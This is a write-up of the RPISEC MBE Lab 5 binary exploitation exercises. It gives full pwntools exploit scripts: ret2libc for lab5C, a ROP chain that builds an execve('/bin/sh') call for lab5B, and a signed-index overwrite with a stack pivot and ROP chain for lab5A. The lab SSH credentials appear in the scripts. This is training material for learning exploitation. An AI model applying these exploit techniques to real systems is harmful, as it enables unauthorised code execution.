[MBE RPI SEC]Lab 5

21 Feb 2019

lab5C

lab5B

lab5A

1) lab5C

Find the vulnerability is trivial for this challenge and for the exploitation, you need to use the ret2libc technique. A helpful documentatiin can be found here.

In a first time, I need to control the EIP. With pnwtools, cyclic and cyclic_find, I quickly found that the good offset is 156. The next step is to find the address of the system functiin and an address of the /bin/sh string in the program. With gdb, I used the following command:

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e63190 <__libc_system>
gdb-peda$ searchmem /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f83a24 ("/bin/sh")

Now, I need to build the stack like below:

|0xb7f83a24| <= "address of /bin/sh string"
|0x42424242| <= fake return adress
|0xb7e63190| <= address of system
|0x41414141| <= fake old %ebp
|other A...|

To do this, I used the following Python script:

#! /usr/bin/python2.7
# -*- coding: utf-8 -*-

from pwn import *
import re
s =  ssh(host='192.168.1.104', user='lab5C', password='lab05start')
p = s.process('/levels/lab05/lab5C')
#p = process('lab5C')
print(p.recv())
pause()
#p.sendline(cyclic(200))
payload = p32(0xb7e63190)
payload += "BBBB"
payload += p32(0xb7f83a24)
p.sendline("A"*156 + payload)
p.interactive()

got the shell lab5C

2) lab5B

For this challenge, the dynamic libraries are not loaded so it is not possible to use the ret2libc. We need chained good gadgets to get a shell. But before, I need to find a place where I can write the string /bin/sh. I used the following command to find this:

readelf -S lab5B | grep .data

I used the section .data.rel.ro to write /bin/sh. The address of the beginning of this section is “080eaf80”.

To find the good gadget, I used ROPGadget. The tool is very trivial to use. For example, to find the gadget xor eax, eax; ret, I used the following command:

python3 ROPgadget.py --binary /path/to/lab5B | grep "xor eax"

After this, I used the following script to get the shell:

#! /usr/bin/python2.7
# -*- coding: utf-8 -*-

from pwn import *
import re
s =  ssh(host='192.168.1.104', user='lab5B', password='s0m3tim3s_r3t2libC_1s_3n0ugh')
p = s.process('/levels/lab05/lab5B')
#p = process('lab5B')
pause()
print(p.recv())
#p.sendline(cyclic(200))
payload = p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf80) # address of the beginning of .data.rel.ro
# now edx contains the address of the beginning of .data.rel.ro
payload += p32(0x080bbf26) # pop eax ; ret
payload += ("/bin")
# now eax contains /bin
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# /bin is written in .data.rel.ro
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf84) # address of the beginning of .data.rel.ro + 4
# now edx contains the address of the beginning of .data.rel.ro + 4
payload += p32(0x080bbf26) # pop eax ; ret
payload += ("//sh")
# now eax contains //sh
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# //sh is written in .data.rel.ro + 4
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0x080eaf88) # address of the beginning .data.rel.ro + 8
# now edx contains the address of the beginning of .data.rel.ro + 8
payload += p32(0x080544e0) # xor eax, eax ; ret
payload += p32(0x0809a95d) # mov dword ptr [edx], eax ; ret
# null byte is written in .data.rel.ro + 8
payload += p32(0x080481c9) # pop ebx ; ret
payload += p32(0x080eaf80) # the address of the beginning of .data.rel.ro
# now ebx point to the address of the beginning of .data.rel.ro
payload += p32(0x080e55ad) # pop ecx ; ret
payload += p32(0xffffffff)
payload += p32(0x080db234) # inc ecx ; ret
# because I dont find xor ecx,ecx; ret gadget, I used this trick to set ecx at 0
payload += p32(0x0806ec5a) # pop edx ; ret
payload += p32(0xffffffff)
payload += p32(0x0805d3c7) # inc ecx ; ret
# because I dont find xor edx,edx; ret gadget, I used this trick to set edx at 0
payload += p32(0x080544e0) # xor eax, eax ; ret
for i in range(11):
	payload += p32(0x0807b6b6) # inc eax ; ret
#now eax contains 0xb
payload += p32(0x08049401) # int 0x80
p.sendline("A"*140 + payload)
p.interactive()

got the shell lab5B

3) lab5A

The program is the same as the lab3A except that the index range is now controlled and, of course, the NX protection is enabled. I check the difference between the code lab3A.c and lab5A.c and see one difference in line 22:

index = (int)get_unum();

The variable index is signed. It means I can enter a negative index and overwrite the RET address of the function store. After some test, I finally found that the good index to overwritte the RET address is -11. Now, I control the EIP and I need to return to the data buffer in order to chain my gadgets. So with ROPgadget, I find a gadget to stack pivoting:

0x08049bb7 : add esp, 0x2c ; ret

0x2c = 44 and 44/4 = 11. So the stack will point to data[1] and after, I just need to chain my gadgets. Of course, because I can’t write on the data cases which are divisible by three, I need to play with the gadgets more than with a classic ROP.

With the following script, I got a shell:

#! /usr/bin/python2.7
# -*- coding: utf-8 -*-

from pwn import *
import re
s =  ssh(host='192.168.1.104', user='lab5A', password='th4ts_th3_r0p_i_lik3_2_s33')
p = s.process('/levels/lab05/lab5A')
# p = process('lab5A')
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#2) ; pop ecx(#3) ; pop ebx(#4) ; ret(#5)
p.sendline("134673360")
print(p.recv())
p.sendline("1")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180384 = 0x080eb060 : address begin of .data
# edx contains the address begin of .data
p.sendline("135180384")
print(p.recv())
p.sendline("2")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#6) ; ret(#7)
p.sendline("135160405")
print(p.recv())
p.sendline("5")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673361 = 0x0806f3d1 : pop ecx(#8); pop ebx(#9); ret(#10)
p.sendline("134673361")
print(p.recv())
p.sendline("7")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 1852400175 = 6E69622F => nib/
# ecx contains /bin
p.sendline("1852400175")
print(p.recv())
p.sendline("8")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#11)
# /bin is written on .data
p.sendline("134566850")
print(p.recv())
p.sendline("10")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#12) ; ret(#13)
p.sendline("135160405")
print(p.recv())
p.sendline("11")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#14) ; pop ecx(#15) ; pop ebx(#16) ; ret(#17)
p.sendline("134673360")
print(p.recv())
p.sendline("13")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180388 = 0x080eb064 : address begin of .data + 4
# edx contains the address begin of .data + 4
p.sendline("135180388")
print(p.recv())
p.sendline("14")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#18) ; ret(#19)
p.sendline("135160405")
p.sendline("17")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134673361 = 0x0806f3d1 : pop ecx(#20); pop ebx(#21); ret(#22)
p.sendline("134673361")
print(p.recv())
p.sendline("19")
print(p.recv())
# --------------------------------
p.sendline("store")
# 1752379183 = 0x6E69622F : hs//
p.sendline("1752379183")
print(p.recv())
p.sendline("20")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#23)
# /bin is written on .data
p.sendline("134566850")
p.sendline("22")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#24) ; ret(#25)
p.sendline("135160405")
p.sendline("23")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673360 = 0x0806f3d0 : pop edx (#26) ; pop ecx(#27) ; pop ebx(#28) ; ret(#29)
p.sendline("134673360")
p.sendline("25")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135180392 = 0x080eb068 : address begin of .data + 8
# edx contains the address begin of .data + 8
p.sendline("135180392")
p.sendline("26")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 135160405 = 0x080e6255 : pop ecx(#30) ; ret(#31)
p.sendline("135160405")
p.sendline("29")
print(p.recv())
# --------------------------------
p.sendline("store")
print(p.recv())
# 134673361 = 0x0806f3d1 : pop ecx(#32); pop ebx(#33); ret(#34)
p.sendline("134673361")
p.sendline("31")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134566850 = 0x080553c2 : mov dword ptr [edx], ecx ; ret (#35)
# \x00 is written on .data + 8
p.sendline("134566850")
p.sendline("34")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135160405 = 0x080e6255 : pop ecx(#36) ; ret(#37)
p.sendline("135160405")
p.sendline("35")
print(p.recv())
# --------------------------------
p.sendline("store")
# 134673321 = 0x0806f3a9 : pop ebx(#38) ; pop edx(#39) ; ret(#40)
p.sendline("134673321")
p.sendline("37")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135180384 = 0x080eb060 : address begin of .data
# now ebx point to the address begin of .data and edx=0
p.sendline("135180384")
p.sendline("38")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x08069bc1 : xor eax, eax ; pop esi(#41) ; pop edi(#42) ; ret(#43)
p.sendline("134650817")
p.sendline("40")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#44)
p.sendline("134725142")
p.sendline("43")
print(p.recv())
# --------------------------------
p.sendline("store")
# 135160405 = 0x080e6255 : pop ecx(#45) ; ret(#46)
# EAX: 0x1 
# EBX: 0x80eb060 ("nib/hs//")
# ECX: 0x0 
# EDX: 0x0
p.sendline("135160405")
p.sendline("44")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#47)
# EAX: 0x2
p.sendline("134725142")
p.sendline("46")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#48) ; ret(49)
# EAX: 0x3
p.sendline("134599603")
p.sendline("47")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#50)
# EAX: 0x4
p.sendline("134725142")
p.sendline("49")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#51) ; ret(#52)
# EAX: 0x5
p.sendline("134599603")
p.sendline("50")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#53)
# EAX: 0x6
p.sendline("134725142")
p.sendline("52")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#54) ; ret(#55)
# EAX: 0x7
p.sendline("134599603")
p.sendline("53")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#56)
# EAX: 0x8
p.sendline("134725142")
p.sendline("55")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#57) ; ret(#58)
# EAX: 0x9
p.sendline("134599603")
p.sendline("56")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0807be16 : inc eax ; ret(#59)
# EAX: 0xA
p.sendline("134725142")
p.sendline("58")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0805d3b3 : inc eax ; pop edi(#60) ; ret(#61)
# EAX: 0xB
p.sendline("134599603")
p.sendline("59")
print(p.recv())
# --------------------------------
p.sendline("store")
# 0x0806fa7f : nop ; int 0x80
p.sendline("134675071")
p.sendline("61")
print(p.recv())
# --------------------------------
# overwritte the EIP
p.sendline("store")
print(p.recv())
# 134519735 = 0x08049bb7 : add esp, 0x2c ; ret
p.sendline("134519735")
print(p.recv())
p.sendline("-11")
print(p.recv())
p.interactive()

got the shell lab5A